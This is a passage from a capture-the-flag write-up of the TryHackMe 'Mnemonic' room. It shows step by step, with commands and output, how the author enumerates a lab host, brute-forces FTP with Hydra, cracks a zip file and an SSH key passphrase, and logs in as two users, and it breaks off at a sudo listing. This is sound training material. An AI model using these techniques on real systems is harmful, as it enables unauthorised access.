TryHackMe - Mnemonic

I hope you have fun.

Title Mnemonic
Difficulty Medium
Author villwocki
Tags gobuster, bruteforce, code analysis, OSINT

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn mnemonic.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-02 00:06 EDT
Warning: 10.10.105.133 giving up on port because retransmission cap hit (10).
Nmap scan report for mnemonic.thm (10.10.105.133)
Host is up (0.37s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
1337/tcp open  waste

Nmap done: 1 IP address (1 host up) scanned in 34.72 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -A -sV -Pn -p 21,80,1337 mnemonic.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-02 00:07 EDT
Nmap scan report for mnemonic.thm (10.10.105.133)
Host is up (0.34s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/[REDACTED]/*
|_http-title: Site doesn't have a title (text/html).
1337/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e042c0a57d426f0022f8c754aa35b9dc (RSA)
|   256 23eba99b45269ca213abc1ce072b98e0 (ECDSA)
|_  256 358fcbe20d112c0b63f2bca034f3dc49 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   310.87 ms 10.9.0.1
2   310.98 ms mnemonic.thm (10.10.105.133)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.34 seconds

FTP (port 21)

I tried commons credentials to login the ftp server but it does not work:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ ftp mnemonic.thm
Connected to mnemonic.thm.
220 (vsFTPd 3.0.3)
Name (mnemonic.thm:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ ftp mnemonic.thm
Connected to mnemonic.thm.
220 (vsFTPd 3.0.3)
Name (mnemonic.thm:kali): ftp
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Then I implement brute-force using hydra and even nmap --script but nothing is retrieved:

┌──(kali㉿kali)-[~]
└─$ sudo nmap --script ftp-* -p 21 mnemonic.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-02 00:19 EDT
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 25.00% done; ETC: 00:35 (0:11:42 remaining)
NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
NSE: [ftp-brute] passwords: Time limit 10m00s exceeded.
Nmap scan report for mnemonic.thm (10.10.105.133)
Host is up (0.31s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 2315 guesses in 603 seconds, average tps: 3.9

Nmap done: 1 IP address (1 host up) scanned in 604.28 seconds

┌──(kali㉿kali)-[~/Wordlists]
└─$ hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ftp://mnemonic.thm
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-02 00:26:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 169512 login tries (l:168/p:1009), ~10595 tries per task
[DATA] attacking ftp://mnemonic.thm:21/
[STATUS] 371.00 tries/min, 371 tries in 00:01h, 169141 to do in 07:36h, 16 active
[STATUS] 363.00 tries/min, 1089 tries in 00:03h, 168423 to do in 07:44h, 16 active
[STATUS] 290.00 tries/min, 2030 tries in 00:07h, 167482 to do in 09:38h, 16 active

Therefore, I think I should go another way which is the HTTP service on port 80

HTTP (port 80)

On the default page, only Test character inside <h1> tag displays:

┌──(kali㉿kali)-[~/TryHackMe/willow]
└─$ curl http://mnemonic.thm/
<h1>Test</h1>

Base on the Nmap scanning, I found that there is a directory /[REDACTED]/:

80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/[REDACTED]/*
|_http-title: Site doesn't have a title (text/html).

Fuzzing with gobuster and verify that directory exist:

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -t 50 -w common.txt -u http://mnemonic.thm/ -b 404,403
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mnemonic.thm/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                common.txt
[+] Negative Status codes:   404, 403
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/11/02 02:43:12 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 15]
/robots.txt           (Status: 200) [Size: 48]
/server-status        (Status: 403) [Size: 277]
/[REDACTED]           (Status: 301) [Size: 317] [--> http://mnemonic.thm/[REDACTED]/]
Progress: 4601 / 4615 (99.70%)
===============================================================
2023/11/02 02:43:43 Finished
===============================================================

Keep fuzzing the sub-directories following the /[REDACTED]/:

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -t 50 -w common.txt -u http://mnemonic.thm/[REDACTED]/ -b 404,403
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mnemonic.thm/[REDACTED]/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                common.txt
[+] Negative Status codes:   404, 403
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/11/02 02:44:07 Starting gobuster in directory enumeration mode
=============================================================
/admin                (Status: 301) [Size: 323] [--> http://mnemonic.thm/[REDACTED]/admin/]
/backups              (Status: 301) [Size: 325] [--> http://mnemonic.thm/[REDACTED]/backups/]
/index.html           (Status: 200) [Size: 0]
Progress: 4611 / 4615 (99.91%)
===============================================================
2023/11/02 02:44:38 Finished
===============================================================

However, there is still nothing on these directories too:

┌──(kali㉿kali)-[~/TryHackMe/willow]
└─$ curl http://mnemonic.thm/[REDACTED]/admin/

┌──(kali㉿kali)-[~/TryHackMe/willow]
└─$ curl http://mnemonic.thm/[REDACTED]/backups/

So I keep moving on them recursively and found out the secret file:

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -t 50 -w common.txt -u http://mnemonic.thm/[REDACTED]/backups/ -b 404,403 -x php,txt,zip,png
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mnemonic.thm/[REDACTED]/backups/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                common.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.5
[+] Extensions:              png,php,txt,zip
[+] Timeout:                 10s
===============================================================
2023/11/02 02:46:09 Starting gobuster in directory enumeration mode
===============================================================
/[REDACTED]          (Status: 200) [Size: 409]
/index.html           (Status: 200) [Size: 0]

I download the file to my local machine and unzip it. However, it was protected with password requirement:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 409 Jul 23  2020 [REDACTED]

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ unzip [REDACTED]
Archive:  [REDACTED]
   creating: backups/
[[REDACTED]] backups/note.txt password:

Don’t worry, it can be solved easily using fcrackzip:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ fcrackzip -u -D -p ~/Wordlists/rockyou.txt [REDACTED]

PASSWORD FOUND!!!!: pw == [REDACTED]

Simply unzip the file and cd to the inflated folder, then I find out a note:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ cd backups

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/backups]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 60 Jul 11  2020 note.txt

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/backups]
└─$ cat note.txt
@vill

James new ftp username: [REDACTED]
we have to work hard

So now I get the username of ftp service. It would be easier than earlier to brute-force the password:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ locate unix_user
/usr/share/metasploit-framework/data/wordlists/unix_users.txt

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ hydra -l [REDACTED] -P ~/Wordlists/rockyou.txt ftp://mnemonic.thm
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-02 02:58:16
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://mnemonic.thm:21/
[STATUS] 225.00 tries/min, 225 tries in 00:01h, 14344174 to do in 1062:32h, 16 active
[STATUS] 232.00 tries/min, 696 tries in 00:03h, 14343703 to do in 1030:27h, 16 active
[21][ftp] host: mnemonic.thm   login: [REDACTED]   password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-02 03:02:57

FTP (port 21)

It’s time to get back to the FTP service on port 21 with the above creds:

┌──(kali㉿kali)-[~]
└─$ ftp mnemonic.thm
Connected to mnemonic.thm.
220 (vsFTPd 3.0.3)
Name (mnemonic.thm:kali): [REDACTED]
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||10077|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-1
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-10
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-2
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-3
drwxr-xr-x    4 0        0            4096 Jul 14  2020 data-4
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-5
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-6
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-7
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-8
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-9
p226 Directory send OK.

It’s a bunch of files and directories. Downloading each of them manually is not a good way. So I googling and figure out another way to automatically download all of them within only 1 command line:

wget --recursive --no-parent --no-clobber --ftp-user=<username> --ftp-password=<password> ftp://<server>/<remote_path>
┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files]
└─$ ls -l
total 40
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-1
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-10
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-2
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-3
drwxr-xr-x 4 kali kali 4096 Nov  2 03:09 data-4
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-5
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-6
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-7
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-8
drwxr-xr-x 2 kali kali 4096 Nov  2 03:09 data-9

Using tree to rapidly look through the structure and I got these 2 interested files:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files]
└─$ tree
.
├── data-1
├── data-10
├── data-2
├── data-3
├── data-4
│   ├── 3
│   ├── 4
│   ├── id_rsa
│   └── not.txt
├── data-5
├── data-6
├── data-7
├── data-8
└── data-9

Read their content to verify that one is the correct ssh key and one is a note:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,01762A15A5B935E96A1CF34704C79AC3

pSxCqzRmFf4dcfdkVay0+fN88/GXwl3LXOS1WQrRV26wqXTE1+EaL5LrRtET8mPM
[--snip--]
ipwD46fpPTKgP6qwDirNcKtULMtEud/rbqVvnP+fqm5UC+oqoX+lb1g2fvytTXSe
-----END RSA PRIVATE KEY-----

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ cat not.txt
james change ftp user password

Gain Access → SSH (port 1337)

Just like other ctf challenges, the ssh key usually required a passphrase to use:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ ssh james@mnemonic.thm -i id_rsa -p 1337
The authenticity of host '[mnemonic.thm]:1337 ([10.10.207.45]:1337)' can't be established.
ED25519 key fingerprint is SHA256:d0qdox4vOIS0HPDVlfu4FnWGZII6QM4tKJVBvWhlSp0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[mnemonic.thm]:1337' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

The ssh2john and john can work together to solve this problem:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ ssh2john id_rsa > hash_key

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ john -w=~/Wordlists/rockyou.txt hash_key
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]         (id_rsa)
1g 0:00:00:00 DONE (2023-11-02 03:16) 33.33g/s 931200p/s 931200c/s 931200C/s chooch..baller15
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Next, I ssh to the remote machine:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic/ftp_files/data-4]
└─$ ssh james@mnemonic.thm -i id_rsa -p 1337
Enter passphrase for key 'id_rsa':
james@mnemonic.thm's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Nov  2 07:19:47 UTC 2023

  System load:  0.24               Processes:           94
  Usage of /:   34.2% of 12.01GB   Users logged in:     0
  Memory usage: 40%                IP address for eth0: 10.10.207.45
  Swap usage:   0%

  => There is 1 zombie process.

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

51 packages can be updated.
0 updates are security updates.

Last login: Thu Jul 23 20:40:09 2020 from 192.168.1.5

Broadcast message from root@mnemonic (somewhere) (Thu Nov  2 07:19:51 2023):

     IPS/IDS SYSTEM ON !!!!
 **     *     ****  **
         * **      *  * *
*   ****                 **
 *
    * *            *
       *                  *
         *               *
        *   *       **
* *        *            *
              ****    *
     *        ****

 Unauthorized access was detected

It’s quite confuse me at the first time because the system still requires the password for user james. Luckily, it’s just the same as the cracked hash from the ssh key.

Horizontal Privilege Escalation

james@mnemonic:~$ pwd;ls -la
/home/james
total 44
drwx------  6 james james 4096 Jul 14  2020 .
drwxr-xr-x 10 root  root  4096 Jul 14  2020 ..
-rw-r--r--  1 vill  vill   116 Jul 14  2020 6450.txt
lrwxrwxrwx  1 james james    9 Jul 14  2020 .bash_history -> /dev/null
-rw-r--r--  1 james james  220 Jul 13  2020 .bash_logout
-rw-r--r--  1 james james 3771 Jul 13  2020 .bashrc
drwx------  2 james james 4096 Jul 13  2020 .cache
drwx------  3 james james 4096 Jul 13  2020 .gnupg
drwxrwxr-x  3 james james 4096 Jul 13  2020 .local
-rw-r--r--  1 vill  vill   155 Jul 13  2020 noteforjames.txt
-rw-r--r--  1 james james  807 Jul 13  2020 .profile
drwx------  2 james james 4096 Jul 13  2020 .ssh

I do not know what the 6450.txt could do currently, but the noteforjames.txt is telling me that the condor’s password was encrypted inside an image:

james@mnemonic:~$ cat 6450.txt
5140656
354528
842004
1617534
465318
1617534
509634
1152216
753372
265896
265896
15355494
24617538
3567438
15355494

james@mnemonic:~$ cat noteforjames.txt
noteforjames.txt

@vill

james i found a new encryption İmage based name is Mnemonic

I created the condor password. don't forget the beers on saturday

Next, I enumerate the /home/ directory, in case I was restricted to used cd command, I can only use the ls command to list the files on a specific location only:

james@mnemonic:~$ ls -l /home
total 32
drwx------  2 root    root    4096 Jul 14  2020 alex
drwxr--r--  6 condor  condor  4096 Jul 14  2020 condor
drwx------ 12 [REDACTED] [REDACTED] 4096 Jul 14  2020 [REDACTED]
drwx------  6 james   james   4096 Jul 14  2020 james
drwx------  2 root    root    4096 Jul 14  2020 jeff
drwx------  2 root    root    4096 Jul 14  2020 john
drwx------  2 root    root    4096 Jul 14  2020 mike
drwx------  4 vill    vill    4096 Jul 14  2020 vill

james@mnemonic:~$ ls -l /home/condor
ls: cannot access '/home/condor/'\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\''': Permission denied
ls: cannot access '/home/condor/aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==': Permission denied
total 0
d????????? ? ? ? ?            ? 'aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw=='
d????????? ? ? ? ?            ? ''\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\'''

User Flag

In spite of the Permission denied errors, I still able to see the file name and recognize they are strings that was encoded as base64 (my own experience within the == character at the end) → I decode them:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ echo "aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==" | base64 -d
https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ echo "VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ==" | base64 -d
THM{[REDACTED]}

The first one gives me a link of an image .jpg while the another is the flag. I download the image to analyze it:

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ file maxresdefault.jpg
maxresdefault.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x720, components 3

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ exiftool maxresdefault.jpg
ExifTool Version Number         : 12.57
File Name                       : maxresdefault.jpg
Directory                       : .
File Size                       : 155 kB
File Modification Date/Time     : 2023:11:02 03:26:43-04:00
File Access Date/Time           : 2023:11:02 03:26:47-04:00
File Inode Change Date/Time     : 2023:11:02 03:26:43-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 1280
Image Height                    : 720
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x720
Megapixels                      : 0.922

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ steghide extract -sf maxresdefault.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!

Based on the noteforjames.txt I found earlier, I pretty sure that this image is related to the ‘Mnemonic’. Accordingly, I do a few research with keywords as ‘Mnemonic images’, ‘encrypt Mnemonic image’ and I figure out this page which contains an icon looks exactly the same as the icon from this room.

To use this tool to extract the data from the image, I need to download 2 files: Mnemonic.py (the main file) and the requirement file sozlukler.py :

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ wget https://raw.githubusercontent.com/MustafaTanguner/Mnemonic/master/Mnemonic.py
--2023-11-02 03:44:31--  https://raw.githubusercontent.com/MustafaTanguner/Mnemonic/master/Mnemonic.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6964 (6.8K) [text/plain]
Saving to: ‘Mnemonic.py’

Mnemonic.py                  100%[==============================================>]   6.80K  --.-KB/s    in 0s

2023-11-02 03:44:31 (50.0 MB/s) - ‘Mnemonic.py’ saved [6964/6964]

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ wget https://raw.githubusercontent.com/MustafaTanguner/Mnemonic/master/sozlukler.py
--2023-11-02 03:45:07--  https://raw.githubusercontent.com/MustafaTanguner/Mnemonic/master/sozlukler.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1625 (1.6K) [text/plain]
Saving to: ‘sozlukler.py’

sozlukler.py                 100%[==============================================>]   1.59K  --.-KB/s    in 0s

2023-11-02 03:45:07 (33.9 MB/s) - ‘sozlukler.py’ saved [1625/1625]

I am not sure what exactly this tool Mnemonic.py would do, but I know that it is able to encrypt or decrypt something when the option displays in the execute-process. So I tried to input the image’s path maxresdefault.jpg at the first time but it said it’s not correct. Then I switch to the file that I think it could be used in this case which is 6450.txt and luckily, it worked!

┌──(kali㉿kali)-[~/TryHackMe/mnemonic]
└─$ sudo python3 Mnemonic.py

ooo        ooooo                                                                o8o
`88.       .888'                                                                `"'
 888b     d'888  ooo. .oo.    .ooooo.  ooo. .oo.  .oo.    .ooooo.  ooo. .oo.   oooo   .ooooo.
 8 Y88. .P  888  `888P"Y88b  d88' `88b `888P"Y88bP"Y88b  d88' `88b `888P"Y88b  `888  d88' `"Y8
 8  `888'   888   888   888  888ooo888  888   888   888  888   888  888   888   888  888
 8    Y     888   888   888  888    .o  888   888   888  888   888  888   888   888  888   .o8
o8o        o888o o888o o888o `Y8bod8P' o888o o888o o888o `Y8bod8P' o888o o888o o888o `Y8bod8P'

******************************* Welcome to Mnemonic Encryption Software *********************************
*********************************************************************************************************
***************************************** Author:@villwocki *********************************************
*********************************************************************************************************
****************************** https://www.youtube.com/watch?v=pBSR3DyobIY ******************************
---------------------------------------------------------------------------------------------------------

Access Code image file Path:maxresdefault.jpg
File exists and is readable

Processing:0.txt'dir.

*************** PROCESS COMPLETED ***************
Image Analysis Completed Successfully. Your Special Code:
[18040524736954552171240290634275910766959300482314707502901100419741398548965224725941021802487032836173634780850941582665145982921504858872321671604862829564607684810526492066226402684287616853873210669999061793585789130700435803828790107520566469792840943480312282503452757516106152078159427180240005535346255332508553204437788143156338915508366294152127113927707875461041975995380102488277249004978168150375226943402813101473129934947391047550289946960484563830077512150922589946415843574688787885125530961139010129215262707445950279859171570703824082806870131361331767370463043186684480807380022655925970022578263260441484625103975073440016327873803686977341928854134976378773600501106381048323122645504600352672462576003715628729391078556691378514984869667325662681952842565476861053690293969966782880123327168780763438531971993188949492933279982487685918120778097782850287929842115690724987096321703212163060333224283284977289802827842879042839640262338746553035294867669059625954075656244962808053213786680390708256762450366138601087542331279508299395275052543712662356328041378219046371806187926898951884853219678957425819999274422457001222309298609639251426093640939141057849874336447995977756479546186718050005298641912474325522605377986224192640694882228380343957998739955025989717286813486502685888047917180755315870714390211946645377824808166849789179435231274421467146198503514028811829300781004919877657049378435667265681319881668251241048231624460484807297038652817741869560603973762676697915583148823703700356493329862580202524500957554509421887074199100294146498732117768932143672904961738653833526638191846440214708821866139175026618637297264825003345892737942605429893574715451387924833678705133789951929605852462681960477345012953624020311976391557709788081555805657631766992810607938136910032486660007651564422670123805991173718718054421178052348944476392816000024581612574082946930065731550351831453219624684151953579510511728103358957331905212408878550039564212574718137567251206027830512330028065065453978937864280959609862513771190784012965669450685145037267642052364077110425690327182134221410979503542884860706732849934129978585114218727611818535870279929449601149898359095286920635366467549708130906749543661896923083187366061909026289661930922600092201579516609661082432775711870335549545629510027691594227860730612243143186998690675558933362090484506118561221209707766409716340182306372820967200382582924543624088571734200353648616261606529316446377770014092636693341125452946580955407629142994557330066002481203213159235316398381340305331731160166517666856882223390348124513308977825051988793237597836987360929298623246303189249691856582689010276308942286830178274172390838724707574971941901952561981824488910046853278229420504365442198918541710225781407434471906744193785133373312799582855296856950856709835659758219138879225768326613692361174053301275224320175854389113874050923227343996320199043477174610191600388011901437299832085638741402321326712525403656134611009999653962145807100825283090403287783417942602115287432675425286401345041435462570643325863310648377212678849664669288738489546673696702139852781071024689212032925750241891326917244780892553526540693621507023878116197492063762724742734661528704061416514721525046633306388371457285426394045190956663884196393567921829300941889216301986124323562132630534219703037020584372302571474382440496441398574114480957204383033321943262503608350362011371242523468860301325689572145533367049207144001883042555930629828285092657187665911761012561666252765177388099698738547128081854538124632051019468014403510598252793989911273187304833487586015420746231436325474874148965434852180676060928100023644313812181795987232910338830331055834729510404938346846471989919015845599795735768790939643391619284305838250318876707485538128176905275930727621806314457956616994759990987819253690544858857585770580235516943059089670589008382216490392151650577917337444115061483517261902983890208304334109451908984031069448924459901518438359206228316357104747954666210709949514348792360318304939151977453561590231001285752786268039570819276963721730449210149230489645405656043361846832132327771993274964709698856004767446608538370095610585587983434524982269314296208590747643797536711604753777854347516951660314747499033416983591953318141292543620399914295001181141940259724324791049457851810362242220088435283906340004174699977928565275154490289396718044511845918775172725752454755679603428250332482282444608418419550363532603974145871838290800304446059866660551988834512932996464464096290454885378463244188011655534860313546313761759397376280991585278591022593760639416075100122750488675696958867052601661035394259353669506253871127432058487776848139996130655605672187446682975840302306598400089474008139886454382608332744746601204596315835032610624779552707307670309573035414379272605351453371872703122153274147603344093748070074860459646082074018819696125737477688740729695352743137967464691424821248000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000]


(1) ENCRYPT (2) DECRYPT

>>>>2
ENCRYPT Message to file Path'

Please enter the file Path:/home/kali/TryHackMe/mnemonic/maxresdefault.jpg
Not Found File:
ENCRYPT Message to file Path'

Please enter the file Path:6450.txt



[REDACTED]






PRESS TO QUİT 'ENTER' OR 'E' PRESS TO CONTİNUE.

From now, I got the password of user condor (it must be though). It’s time to reconnect to the remote system as user condor using that password:

┌──(kali㉿kali)-[~]
└─$ ssh condor@mnemonic.thm
ssh: connect to host mnemonic.thm port 22: Connection refused

┌──(kali㉿kali)-[~]
└─$ ssh condor@mnemonic.thm -p 1337
The authenticity of host '[mnemonic.thm]:1337 ([10.10.123.24]:1337)' can't be established.
ED25519 key fingerprint is SHA256:d0qdox4vOIS0HPDVlfu4FnWGZII6QM4tKJVBvWhlSp0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[mnemonic.thm]:1337' (ED25519) to the list of known hosts.
condor@mnemonic.thm's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Nov  5 04:04:26 UTC 2023

  System load:  0.08               Processes:           94
  Usage of /:   34.0% of 12.01GB   Users logged in:     0
  Memory usage: 32%                IP address for eth0: 10.10.123.24
  Swap usage:   0%

  => There is 1 zombie process.

51 packages can be updated.
0 updates are security updates.

Last login: Tue Jul 14 17:58:10 2020 from 192.168.1.6
condor@mnemonic:~$

Vertical Privilege Escalation

Since I get back as condor user, beside the user flag I have found earlier, my current target is escalating to the root user to get the root flag. I type sudo -l to check the available root commands invoke to the user condor:

condor@mnemonic:~$ sudo -l
[sudo] password for condor:
Matching Defaults entries for condor on mnemonic:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User condor may run the following commands on mnemonic:
    (ALL : ALL) /usr/bin/python3 /bin/examplecode.py

condor@mnemonic:~$ ls -l /bin/examplecode.py
